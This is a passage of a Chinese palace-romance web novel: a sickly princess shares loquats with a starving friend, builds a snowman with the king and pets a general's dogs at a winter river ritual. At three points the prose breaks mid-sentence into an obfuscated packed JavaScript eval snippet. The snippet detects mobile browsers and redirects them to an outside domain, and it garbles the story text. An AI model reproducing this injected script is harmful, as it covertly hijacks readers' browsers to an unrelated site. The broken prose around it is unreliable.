花迟重重点头,又哼哼唧唧地撒娇,说想吃井里泡着的枇杷。注视着那双水汪汪的眼睛,妥协的叶婕妤无奈地以扇子点了点他的额头:“不能多吃,只许吃两个。” 有的吃就很好了。一向知足的花迟弯起眼睛,对母亲笑得乖巧且甜蜜。 “多谢母妃!” 随着叶婕妤来到井边,侍女以木桶捞起井中清甜的枇杷。但在精挑细选选出两个凉凉的枇杷后,花迟又忽然想起了什么。 “母妃,我可以出去吗。” 叶婕妤笑道:“太阳这么大,小迟儿想去哪里?” “我交到了一个朋友!”兴高采烈地说罢,花迟又很小声道:“但他好像没有枇杷吃,我想带给他。” 朋友? 花迟是从未有过朋友的。 他的身体太脆弱,以至于他的姐妹不敢带他玩,而他的兄弟又不屑带他玩。因此,自小花迟就是一个人在宫室里,自己陪自己玩。 叶婕妤是第一次从花迟口中听到“朋友”二字。她愣了愣,有些欣喜,却也有些担忧:“小迟儿说的朋友……是哥哥姐姐吗?” 花迟想了想,认真道:“是哥哥。但他没有枇杷,所以我可以带去分给他吃吗,母妃?” 叶婕妤沉默了很久,终是轻轻摸上了花迟的发。 “小迟儿若想,就可以。” …… “般钦哥哥!” 玄宁宫并不难找。 它与叶婕妤的寝宫同为冷宫周围偏僻的宫室,因而花迟手中的枇杷还未热起来,他就已经跑到了玄宁宫门前。 “般钦哥哥!” 小公主是不擅长奔跑的。 热烈的日光让原本苍白的小脸变得红扑扑,不大的小手一只握着一个枇杷,小公主踮起脚,努力叩响了玄宁宫紧闭的大门。 未过多久。 伴随着并不悦耳的声响,紧闭的大门缓缓开启一条缝隙,无光晦暗的黑眸长久定格在孩童身上。花迟弯起唇角,对着那人绽放一个大大的笑容。 门后人显然未料到这位小公主会再次踏足此地。 注视着小公主像山樱桃一样红艳的面庞,完颜般钦沉默了许久,终于拉开了沉重的大门。 “公主殿下。” 可完颜般钦还未来得及问小公主怎么在这里,又要做什么,花迟便高高举起两只手,将掌心饱满多汁的枇杷递到了完颜般钦身前。 “般钦哥哥,选一个!” 小公主的声音清脆。 圆圆的枇杷像公主圆圆的眼睛,都在一起认真地注视着完颜般钦。身侧的指尖不自觉颤了颤,完颜般钦注视着那两只果子,终是将原本想说的话尽数咽下,又缓缓摇头:“多谢公主殿下。但……” 可拒绝还未说出口,小公主一向上扬的唇角就有了向下弯去的征兆。眼睁睁看着那双水汪汪的大眼睛真的浮上朦胧泪光,完颜般钦愣了愣,难免无措。 “别……” 但他又不知道怎么安抚说哭就哭的小公主,最终只能干巴巴道:“……别哭。” 小公主又把枇杷向上递了递。 “哥哥。” 含着鼻音的声音粘稠,完颜般钦紧抿双唇,却终是缓缓取了一只枇杷。 “多谢……公主殿下。” 小公主破涕为笑:“不用谢!般钦哥哥。不过,我可以进去吗?” 完颜般钦缓缓攥紧了枇杷。 “……嗯。” 玄宁宫极小,却还算干净。 满院的杂草在不久前刚被割去,房梁上残破的蛛网也被一一扫去。虽依旧阴暗潮湿,却也不至于让人心生不适与不喜。 但小公主显然并没有注意这些。 此时,他坐在一只矮小且会咯吱咯吱响的板凳上,小口小口吃着甘甜的枇杷。纵使小公主的吃相已经很漂亮了,但奈何枇杷实在是坏,流了小公主满嘴满手的汁液。 苦恼又幸福的小公主只能努力抬高手又抬起脸,像只被投喂的兔子一样追随枇杷,只为了不弄脏自己的衣裙。 完颜般钦有些看不下去。 “公主殿下。” 小公主乖巧地看来。而道了声得罪,完颜般钦便单膝落地,细细替小公主挽起了袖子,又以干净的小布擦拭干净那两只小小的手。 小公主侧头看着完颜般钦的动作。 “哇——” 随着完颜般钦将他再度变得清爽干净,小公主也不吝夸奖,干脆地开口:“多谢哥哥!哥哥好厉害!” 完颜般钦:“……” 完颜般钦面无表情:“没有。” 他回到了自己的位置上,看着小公主继续摇头晃脑吃完了剩下的枇杷。完颜般钦是第一次见到枇杷,但随着小公主慢慢吃完,他也剥好了手中的那只,递到了小公主面前。 小公主愣了愣:“哥哥?” 完颜般钦低垂眼帘,若无其事:“太甜了,公主殿下。” 小公主抿了抿唇:“……哥哥不喜欢吗?” 这话说的实在委屈。完颜般钦顿了顿,似乎是意识到小公主又要哭了,当即开口:“不是。” “只是太甜了。”完颜般钦道:“由奢入俭难,我平日吃不到这么甜的东西。公主殿下,多谢。但请您替我吃掉,可好。” 这实在是过分违背完颜般钦习惯的一句话,平日不会解释这么多的少年说的也有些干巴巴。而当下的小公主虽还不懂人情世故,却也觉得这番话很奇怪。 小公主沉默了很久很久,也观察了完颜般钦很久很久,终是在完颜般钦再度投来目光时缓缓应了一声。 “……好。” 小公主双手接过了已经剥好的枇杷。 “多谢般钦哥哥。” 一如完颜般钦所说,枇杷很甜。小公主小口小口吃掉,却觉得心里有些酸酸的。 “般钦哥哥……” 在以井水洗好手后,被完颜般钦握着手擦干净的小公主轻轻拽住了完颜般钦的衣摆。他没有问自己真正想问的问题,而是胡乱说了一句:“你好瘦呀。” 完颜般钦当真是瘦的过分。 少年正是长身体的年纪,但不知是吃的太少还是长的太快,他整个人就像一具活生生的白骨,光是看着就让人感到不安。 完颜般钦垂眸看了看小公主纤细的手腕:“公主殿下也很瘦。” 这也是实话。 虽然小公主的脸颊实在是圆润饱满,但他的身上也实在是没几两肉。纵使圆滚滚,也只是与未来的十三公主比才算得。 “不要瘦。”小公主摇了摇头:“母妃说,太瘦了身体不好。” 完颜般钦对此心知肚明,但他还是面不改色地欺骗小公主:“我只是在长个子,这样是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058733|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常的。” 小公主懵懵懂懂的应道:“原来是这样吗?” 完颜般钦笃定:“是这样。” 可一直到了晚上,越想越奇怪的小公主还是一个翻身,翻到了母亲怀里。 “母妃。”花迟睁着自己圆圆的大眼睛:“长个子都会变得很瘦吗?” 叶婕妤摇着扇子,轻轻拍着小公主:“嗯?小迟儿问这个作甚。” 花迟将今日的事断断续续说给了母亲听,而叶婕妤想了想,缓缓摇头:“大多都会瘦些。但小迟儿的朋友……是不是有些太瘦了?” 今日在寝宫思来想去一天也没想到那些皇子能带着花迟玩的叶婕妤琢磨出了些什么,温声道:“小迟儿有没有问过,他是不是不能吃饱饭呢。下次见,要不要带些吃的给他?” 花迟想了想,觉得这样问很不好。于是他决定一步到位:“母妃,那我明日带些吃的给他好了!” 说到做到。 第二日午时,用过餐的小公主拒绝了叶婕妤想要给他带侍从的要求,独自一人带了满满一盒的饭菜,艰难地到达了玄宁宫。 “般钦哥哥!” 踮起脚的小公主气喘吁吁,叩响了紧闭的大门。 “我来找你了!” 清脆的声音传入玄宁宫中,像是随风飘落的稚嫩花瓣,闯入了这方苦涩的天地。完颜般钦一顿,而他对面坐着的少年却抬起了眸。 不知过了多久,大门被从内打开,完颜般钦对上了一双含笑的眼。小公主笑眯眯道:“今日膳房送来的午膳有些多,味道也不错,母妃让我带来给般钦哥哥分一下。哥哥吃午膳了吗?” 完颜般钦的目光缓缓落在小公主的手边。 “……公主殿下。” 他的声音很低:“您无需如此。我只是个卑贱的……” “不是!”又听到这番话,心中自有一番道理的小公主似乎有点生气了:“所有人都不卑贱!般钦哥哥更不卑贱!” 这句话掷地有声,令完颜般钦愣住。而小公主看着那双微微睁大的黑眸,不自觉扁了扁嘴。他显然有些不开心,却还是在短暂的沉默后轻声道:“对不起般钦哥哥,我不该这么大声说话。但是般钦哥哥,你吃午膳了吗?” “在吃哦。” 一个轻快的声音自完颜般钦背后传来。 “小妹妹,你要来尝尝吗?” 顶着破皮的脸颊,遍体鳞伤的少年笑嘻嘻地走到了门前。他越过完颜般钦,俯身看向小公主:“你要来吃吗?” 小公主矜持摇头,又点头:“我是来给般钦哥哥送吃的的,吃就不必了。” 似乎终于回过神来,完颜般钦没有看向身旁人,而是低声对着小公主道。 “公主殿下,您不该来找我的。” …… “……您不该来找我的。” “……” “砰!” …… 梦。 天还未亮,蜷缩在独孤朔怀中的花韵之却猛然惊醒。被击碎的梦境带着完颜般钦的死讯在花韵之的脑中不断回荡。小口小口喘着气,不自觉颤动的鸦羽仿若蝶翼,感受着胸腔内不太舒服的脏器,花韵之向独孤朔的躯体又贴近了三分。 ……他怎么又梦到他了。 额头抵在男人的肩头,晦暗遮掩了公主的神情。眼眸有些酸涩,扣起的双手抵在身前,花韵之努力压抑着心中翻涌的情绪。 完颜般钦。 ……般钦哥哥。 20.雪人 入了秋,黑水的时间便走的很快。 树叶黄了又落,融入烂泥,徒留枯木在人世挣扎。转眼间,仿若鹅毛的白雪落下,冬神再度降临了这片极北之地,带来了无尽的风霜、寒冷与冰雪。 暖炉上青烟袅袅。依靠在榻边的花韵之手捧热茶,裹着厚厚的被子,瞧着窗外洋洋洒洒的雪花。无瑕的白渐渐覆盖了每一寸土地,天地皆被银装素裹,连红墙金瓦都隐匿在无边的白中。 这是今冬的第一场雪,却也昭告了漫长冬日的降临。 “公主。” 染着水痕的皮靴落在地毯上,匆匆的脚步由远及近。卸去的外袍卷走了落雪,高大的男人携着满身寒气,来到了公主身前。 垂眸注视着抬首看他的花韵之,独孤朔似乎弯了弯唇角。他微微俯身,向花韵之伸出手。而花韵之愣了愣,还未来得及反应,便被独孤朔捧住了脸。 “王上!” 唯有指尖冰凉的双手还是让暖窝里的公主打了个寒颤。花韵之有些嗔怪地抬眸,轻轻看了独孤朔一眼,小声道:“王上怎么这样。” “是我之过。” 独孤朔从善如流,却又轻捏了捏花韵之的脸颊:“今日这场雪绵软,是好雪。宫中绣娘亦制好了手衣,公主莫要气恼,我与公主去玩雪,可好?” 玩雪? 蜜色的眼眸亮了亮,花韵之矜持地颔首。 “嗯。” 来自江南的公主是未曾玩过雪的。 江南极少下雪,上次落雪还是在公主诞生前。而嫁来孤邙的路上虽多是冬日,皑皑白雪连绵不绝,但自觉死期将至的公主又如何会有心情去玩雪呢? 何况同行的李嬷嬷一向看公主跟眼珠子似的,花韵之多出来在风里站一会都要被说,更遑论是直接碰雪了。 所以此时,花韵之的心中难免有几分兴奋。 握住温凉的手,将公主自榻上拉起,穿戴好披风与手衣,独孤朔便将花韵之带到了风雪中。 “公主可想堆雪人?” 其实松软的雪不适合堆雪人。 但前些时日公主翻看罗荒野游记时恰巧看到了雪人。游记中将它描述的过分新奇,公主便常常会问独孤朔雪人是何模样。但无论如何解释都比不上眼见为实,独孤朔便一直在等一场雪,好为公主堆一个真正的雪人,看护宅邸。 雪人? 公主显然也想起了游记。 耳尖浮上薄红,压抑着几分期待,花韵之微微抿唇笑起,又轻轻应了一声。 “想。” 不比游记上写的简单,堆雪人实操起来总是有些难。何况当下的雪这般松软,便更难了。 但独孤朔总有办法。 他命侍从取来了铁锹,准备在雪地中搭雪人的身子。但在此之前,他先为花韵之团了个硬邦邦的雪球,教花韵之怎么在雪地中滚。 花韵之循规蹈矩地滚着。 虽然松软的雪总是粘不住,但小小的雪球在公主的手中还是越来越大。可雪地很滑,纵使雪球算不得很大,阻力却很强,花韵之推着它在雪地里走的动作仍显得有几分艰难。 独孤朔很快便堆好了雪人身子。 而在他看向花韵之时,花韵之仍在滚雪球,并时不时填补松软白雪落下的地方。 “公主,好了。” 公主填补雪球的神情实在认真,像在做什么不容得丝毫差错的要务,却又让人觉得可爱。独孤朔压下自己的笑意,上前拉起了花韵之的手:“公主当真是厉害,竟推的这般大。” 公主顺着王的力道直起了身子。双手隔着手衣交握,注视着独孤朔含笑的眼,花韵之抿了抿唇,终是不自觉笑起:“多谢王上!” 雪人是个身子大头小的雪人。 倒也算不得不协调,只是看起来有些过分健硕,让人难免忍俊不禁。花韵之按照游记中的说法,去取了几颗石子与树枝装点雪人,为其细细点上了眼睛与鼻子,并安上了手臂。 这个雪人其实并没有多么好看。 但仔细端详着雪人,心满意足的花韵之仍回眸对着独孤朔笑起。 冬日的风雪寒冷。但裹着厚厚的披风,堆完雪人后就觉得手指湿漉漉的花韵之还是将手衣脱下。独孤朔自觉将其在手中,看着花韵之开始探索冬日的寝宫院落。 绵软的雪踩起来其实没有什么声音,只会让人觉得自己陷了下去,像踩进了棉花里。但是和亲路上的雪多是坚硬的旧雪,虽然方才滚雪球时已踩了一遭,但当下的花韵之仍觉得新奇。 白雪在日光下是闪烁的。 格外喜爱这踩雪触感的花韵之提着裙摆,一遍一遍轻且缓地迈入雪中。他的动作算是小心翼翼,但若细细看去,却又像极了雪中蹦蹦跳跳的小兔。 “公主可喜欢。” 提着裙摆的指尖微微收紧,花韵之抬眸看向独孤朔,抿唇笑起:“嗯!” 喜欢。 冷风将花韵之的面颊鼻尖皆染上了红,像是寒雪中绽放的红梅。待踩了一圈雪,留下了一圈或深或浅的足迹后,公主心满意足地离开了雪地。 在俯身拂去裙摆落雪时,花韵之似乎想到了什么,又小跑着到了独孤朔身前。他侧了侧头,微微垫脚,似想要说些什么,或是做些什么。独孤朔没有多想,便顺从地俯下身。 而下一瞬。 “王上。” 亮晶晶的眼眸弯起,冷冰冰的五指落在了他的脸颊,独孤朔有些意外地看向花韵之,却只看到了灿烂的笑容。 像一只做了坏事而暗暗得意的猫儿。 “……” “公主。” 缓缓握住花韵之冰冷的手,注视着那弯起的眉眼,本想要板着脸的独孤朔亦不自觉笑起。他轻搓了搓公主被冻到有些发红的指尖,便将其递到唇边,轻轻哈了口气,又包入掌心。 “公主怎么这样呢?” 低而磁的声音响起。 与花韵之想的所有反应皆不同,独孤朔对此的反应实在是过分……花韵之也不知该怎么形容。但注视着男人几乎算得上温柔的眼,公主一时失语。他竟分不清自己脸上火辣辣的感觉是风吹的,还是他自己的情绪使然。 “对不起,王上……” 心跳似乎也错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070778|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了拍子。 随着鼻尖碰上鼻尖,脑子有些乱乱的公主小声道。 而独孤朔垂眸注视着花韵之面颊上的薄红,搓了搓掌心柔软的手,温声道:“无事,本就是我先这样做的。只是公主手冷,我替公主暖暖,可好。” 花韵之胡乱点头,又悄悄抬眼去看独孤朔。 公主自认为自己的目光很隐蔽。 但对于敏锐的王来说,公主和正大光明看他几乎没差。 “怎么了,公主。是有些冷了吗。” 无声无息间,稍稍离开花韵之几分的独孤朔抬眸,却恰好对上了花韵之的目光。有些慌乱的公主悄悄避开了王的眼,轻声道:“没有……” 说完,似乎是觉得自己这样说不太有信服力,花韵之抿了抿唇,又低声道:“嗯……但是风吹的不太舒服。” 一只大手独自包住了两只小手,独孤朔看着花韵之红扑扑的小脸,轻拂过滚烫的脸颊。红艳的色泽为公主更添娇怯,男人的触碰却令纤长的眼睫轻颤。花韵之垂下眼,不再去看独孤朔,却小声催促:“王上……” 独孤朔将手衣递给公主。 “回寝殿,我给公主烤橘子吃,可好。” 寝殿被火炉烤的暖洋洋的。 一入殿门,公主便觉得像回到了春天。而卸去狐裘,卸去外袍,卸去长靴,花韵之再度窝到了被子里,翻看着被被子捂到热乎乎的游记。 只是那些端正的字迹花韵之怎么都看不进去。莫名心不在焉的公主满脑子都是男人方才的模样,心似乎跳的更乱了,思绪也是。花韵之只好放下游记,静静等待着独孤朔。 独孤朔回来的很快。 侍从带着满满一篮橘子与几个小金盘,落到火炉旁便退下。独孤朔看着裹着被子,只露出一双眼睛悄悄看他的花韵之,不自觉弯了弯唇角。 坐到榻边,独孤朔取来一只橘子在掌心暖了暖,便将其剥开。细细剔除橘络,独孤朔将其放到了金盘上,轻轻推到了花韵之手边。 “公主,请。” 花韵之眨了眨眼,便轻轻捻起一瓣橘子,递到了唇齿间。 橘子很甜,却也带着几分清爽的酸,不至于让人觉得倒牙,甚至更凸显了那几分甜蜜。 花韵之很喜欢。 公主吃得慢,在他小口小口吃完了那只剥好的橘子后,烤橘子便也好了几个。独孤朔以铁夹子将烤橘子取下,细致地为花韵之剥好后,便尽数推到了他的面前。 “公主,小心烫。” 小金叉落在金盘上,未曾吃过烤橘子的花韵之仔细观察过那几枚其貌不扬,甚至有些局部焦黑的橘子。试探性地以金叉轻戳了戳它们,花韵之才小心翼翼地叉起一枚,吹了吹后递到唇边。 甜。 极甜。 在烤橘子进入口中的瞬间,仿若蜜糖的眸子便似乎被甜出了几分涟漪。感受着在舌尖上蔓延的温度与甜蜜,花韵之难免有几分愉悦。 “公主可喜欢。” 微微弯起的眸子难以掩饰公主的情绪,花韵之轻快地点头。 “嗯!” 喜欢。 21.祭祀 城临黑水而立,遂名黑水。 这条曾名弱水的黑河横穿黑水,又几乎贯穿孤邙的国土。它是孤邙人的母亲河,他们称其为穆塔克。而每到严冬,孤邙人都会在穆塔克冰封的河面上举行祭祀。 今冬亦不例外。 猎猎旗帜于北风中呼啸,苍白的圆日像是浑圆的珍珠。无济于事的日光中,披着长狐裘的公主轻拂去发尾落雪,对着身旁的王弯唇笑起。 注视的目光被发觉,独孤朔却未有任何不自在。他神色如常地为花韵之理了理狐裘,便握住了公主佩着手衣的手。 “祭祀无趣。” 垂眸注视着花韵之如玉般的面庞,独孤朔缓声。 “公主可去马车上候着,待祭祀结束,我唤公主。” 花韵之没有拒绝。 在一众孤邙贵族似有若无的注视下,来自中原的公主轻笑了笑,便回握住独孤朔的手:“王上辛苦,妾等着王上。” 公主一向是有分寸的。 或者说,他是过分有分寸的。 身为大梁的公主,大梁送来的和亲公主,花韵之理所当然的不认为自己有资格参与孤邙的祭祀。而本身,无论是祭祀天地河山,还是孤邙的先祖英烈,花韵之都不想、更不会参与其中。 因而,柔婉的声音落下。 雪地上的足迹渐行渐远,瘦削的背影消弭在垂帘间。 马车上,暖炉孜孜不倦地散发着暖意。依靠着车厢,远处不知何时响起巫祝的歌声。空灵却又怪异的曲调中,花韵之轻轻闭上了眼。 祭祀的确无趣。 杀猪羊,烹鸡鸭,行古礼。 漫长的仪式中,风似也有了意识。 它卷着雪,像刀子,粗暴地割着每一人的血肉,以祭这片寒冷的土地,以祭遥远的白山林海,以祭这条漫长到似永远望不到尽头的漆黑河流。 “锵——” 铜锣声落。 …… 待繁琐的流程结束,花韵之早已陷入了浅眠。 今日需出城祭祀,因而公主不到寅时便被迫醒来,早已困倦的很。待卸去祭服的王撩起车帘,便只看到了安眠的公主。略顿了顿,王没有吵他,只缓步回到车厢,将公主扶到了自己的肩头。 这一觉睡到了午时。 迷迷糊糊睁开眼时,花韵之的面颊上都印了清浅的红痕。有些迷惘的人乖乖巧巧,任由男人的大手轻轻揉搓着脸颊。甚至在独孤朔欲抽手离开之际,花韵之还主动侧首,将自己贴到他的掌心。 “王上。” 公主的声音有些粘稠。 他对着独孤朔弯眸笑起。而注视着掌心托着的小脸,独孤朔神情淡然地捏了捏花韵之的脸颊,又捏了捏。直到公主有些困扰地蹙起眉,才一本正经地收回手。 “公主,可要用午膳。” 花韵之缓缓点头,又对着独孤朔乖巧地笑起。 孤邙物资贫乏。因而,祭祀山河自然的菜肴都会被他们自己吃掉。 今日的午膳自然丰盛,是祭祀的猪羊鸡鸭与打破冰面捞起的鱼。只是毕竟是祭祀,做法难免有些粗犷,味道也算不上多好,至少公主绝不会喜欢。 但独孤朔早有准备。 将暖盒打开,温水中,简单的菜肴依旧温暖如初。独孤朔所带的都是花韵之偏好的菜肴,还有道新奇的板栗排骨,公主尝了下,味道也不错。 或许是天足够冷,也或许是一上午未曾进食的缘故。今日午间,花韵之难得多吃了些,连小脸都吃的红扑扑。 孤邙祭祀黑水的仪式足足需要三日。 但除了第一日晨间是真正的祭祀。剩下的时日,便多是这些孤邙贵族在冰封的黑水上冰嬉玩耍,但这也是自古流传下来的仪式。 冰嬉是有趣的。 或许吧,从未踏足过冰面的公主不清楚。但温暖的马车上,遥望着冰面上近乎飞舞的人们,公主的眸中却流露出几分他自己亦不自觉的向往。 “公主。” 无声观察公主良久,独孤朔终是握住了纤长的指尖。微微倾身,男人任由自己炙热的呼吸洒在公主的耳尖。 “可要前去冰嬉。” …… 江南的冬温暖,河水是不足以结冰的。 至少深宫中长大的公主,从未在冬日见过水流结冰。 离开马车,踏过雪地。搭着独孤朔的手,花韵之小心翼翼地踩上冰面。 光滑的冰河厚重,因而冰层近乎雪白。明亮的眼睛注视着脚下坚冰,缓缓走了几步,并没有如预想中摔倒的花韵之兴奋地看向独孤朔。 “公主当真厉害。” 独孤朔认真道,花韵之的耳尖却悄悄红了。 “……王上。” 他轻轻开口,却也没有说出什么别的话,只抿唇对独孤朔笑了笑。 可又走了几步,男人似含着笑意的目光长久的落在公主身上,令公主愈发羞赧,终是无声看向了别的方向。 站在映不出天空的冰面上,目光胡乱飘着。花韵之看到了冰面上的蓝天,云层,人群,与…… 三只大犬。 顿了顿,花韵之的目光缓缓定格在那三只大犬上。 那当真是三只很大的大犬。 毫不夸张的说,它们若是站起来,恐就与花韵之一般高了。而注视着那三只昂首挺胸环视周围的大犬,花韵之不自觉收紧了与独孤朔交握的手。 顺着花韵之的目光看去,独孤朔愣了愣,又垂眸看向花韵之。 “公主害怕?” 低缓的声音响起。可抿了抿唇,花韵之却摇了摇头,又小心翼翼地看向独孤朔:“它们……” “亲近人吗?” 意料之外的问题。但凝视片刻那三只大犬,独孤朔终是缓缓摇头。 “他们是完颜陌养的。”认出那三只大犬归属的独孤朔道:“不太亲人。但若公主想摸,我命人寻完颜陌来,便可以摸了。” 花韵之喜欢犬。 幼时的白犬钩织了太多美好的回忆,令花韵之天然对犬怀揣着亲近与喜爱。无论大犬还是小犬,只要不是红着眼睛流着口水的恶犬,公主都会觉得它们可爱。 花韵之是想摸的。 但一听要完颜陌来,花韵之又迟疑了。 “……不必了,王上。” 依依不舍地看了眼那三只犬儿,花韵之还是拒绝:“不必麻烦完颜万夫长……” “什么麻烦?” 忽然。 一个声音远远传来,肩披狐尾的完颜陌挑了挑眉,又负着手,闲庭散步般行至此处站定,对着独孤朔与花韵之俯身行礼。 “见过王上,见过公主。” 独孤朔淡淡颔首,花韵之轻轻应了一声。而直起身,完颜陌又对着花韵之笑道:“方才听公主说不必麻烦我……不知是何事?或许,我愿意被公主麻烦呢。” 这话说的轻佻,独孤朔冷然的目光几乎在瞬间落到了完颜陌身上。可完颜陌并未收敛笑意,反而还欲上前几步。只是,他还未来得及动作,花韵之便先悄悄向独孤朔的身旁挪了些许。 完颜陌:“……” 包着柔软的五指,轻抚过公主的手背,以作安抚。独孤朔冷声开口:“你的犬,能摸吗。” 目光定格在花韵之身上,完颜陌弯起眼睛:“当然,王上。它们一直很乖。” 独孤朔显然不信这话。 但说罢,完颜陌又对着花韵之笑了笑,便直接以手做哨,对着犬儿的方向吹响。哨声高亢,三只大犬当即挣脱束缚着它们的侍从,向自己的主人奔来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086956|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 奔跑的大犬实在潇洒,令花韵之微微睁大了眼。 而不消片刻,这三只犬便乖乖停在了完颜陌身前。它们似乎很擅长在冰雪上奔跑,莫说打滑,就连舌头都未曾吐出来。 完颜陌笑看向花韵之:“公主,可要摸一下?它们很乖的。” 花韵之藏在独孤朔身后,眼睛虽看着那三只威风凛凛的大犬,声音却有些过分的轻:“可以吗……” “把绳子抓好,完颜陌。” 独孤朔冷冷的声音响起。完颜陌虚伪地笑看了他一眼,便俯身抓起了束缚三只犬的绳子。 “公主,它们真的很乖,你看。” 完颜陌随手搓了一把狗头。而或许是被抚摸,又或许听到主人夸自己乖,三只坐的稳稳当当的犬愈发昂首挺胸。 看着它们这幅模样,早已暗暗期待的花韵之终于上前。 不得不说,离近些,这三只大犬看着还当真有些凶神恶煞。但奈何花韵之实在喜欢犬儿,硬生生从其严肃的面容中看出了几分可爱。 这三只大犬都是白色,可公主被黑色手衣包裹的指尖轻轻落下,却轻而易举地藏入了它们长长的毛发。被抚摸的大犬侧首看了花韵之一眼,倒也没反抗。 花韵之终于将整只手掌落了下来。 大犬的身子炙热,毛发也柔软,让花韵之难免想起自己幼时的白犬。他轻轻抚摸着那只大犬,目光温和,动作轻柔。 或许公主实在擅长抚摸动物。随着那只修长的手一遍遍抚过头顶,那只本还有些高傲的大犬也悄悄侧了些头,以便花韵之能更好的抚摸它。 “格塔很喜欢公主呢。” 完颜陌轻笑道。 听到这话,花韵之不自觉弯起唇角,却又轻声开口:“它叫格塔?” 格塔是一个标准的孤邙名字,意为英勇的战士。已习了不少孤邙话与孤邙习俗的公主知晓这些,因而他轻念了两遍,换来格塔的轻叫,便又看向了完颜陌:“另外两个犬儿的名字是什么?” 完颜陌指了指花韵之左侧的大白犬:“桑维。” 又指了指花韵之右侧的大白犬:“格玛。” 花韵之终于抚上了那两只似乎暗暗期待已久的犬。手指陷入柔软的皮毛,公主轻笑着,唤了一遍这三只大犬的名字。 “格塔和格玛的名字好像。” 格玛,意为智慧的文士。 花韵之念了一遍,察觉到什么:“它们是兄弟姐妹吗?” “是姐妹。”俯身摸了摸格塔,又摸了摸格玛,完颜陌笑着说:“格塔是姐姐,格玛是妹妹。但不是一胎的姐妹,只是一个母亲的姐妹。” 花韵之轻轻点头,而完颜陌似有若无地看了独孤朔一眼,又笑着说:“桑维是我十五岁养的,现在已经是只老犬了。格玛和格塔还年轻。格玛是只好犬,格玛母亲的主人本来是要将它送给王上。只可惜格玛实在不喜欢王上,于是也归了我。” “所以我便有了三只大犬。” 不知不觉间被三只大犬包围花韵之闻言,抬眸对着独孤朔笑了笑。看着公主灿烂的笑颜,独孤朔似有些无奈地弯了弯唇角,轻声道:“公主,我一向不讨它们喜欢。” 花韵之缓缓点头,道:“我的母妃也养犬,养的也是只白犬,只是是小白犬。我小时候有个玩伴,也不讨犬儿喜欢。我的小白很乖,但每每见了他都要龇牙。” 独孤朔一顿,而完颜陌却似丝毫未察般笑起:“那当真是不巧了。王上也是自小就不讨犬儿喜欢,以往在……” “完颜陌。” 冷硬的声音打断了完颜陌的话语。 似察觉到什么,花韵之抚摸着白犬的手无声停下。而独孤朔垂眸注视着公主,沉默良久,终放缓了声音:“完颜陌的这几只犬能拉冰橇,公主可要坐?”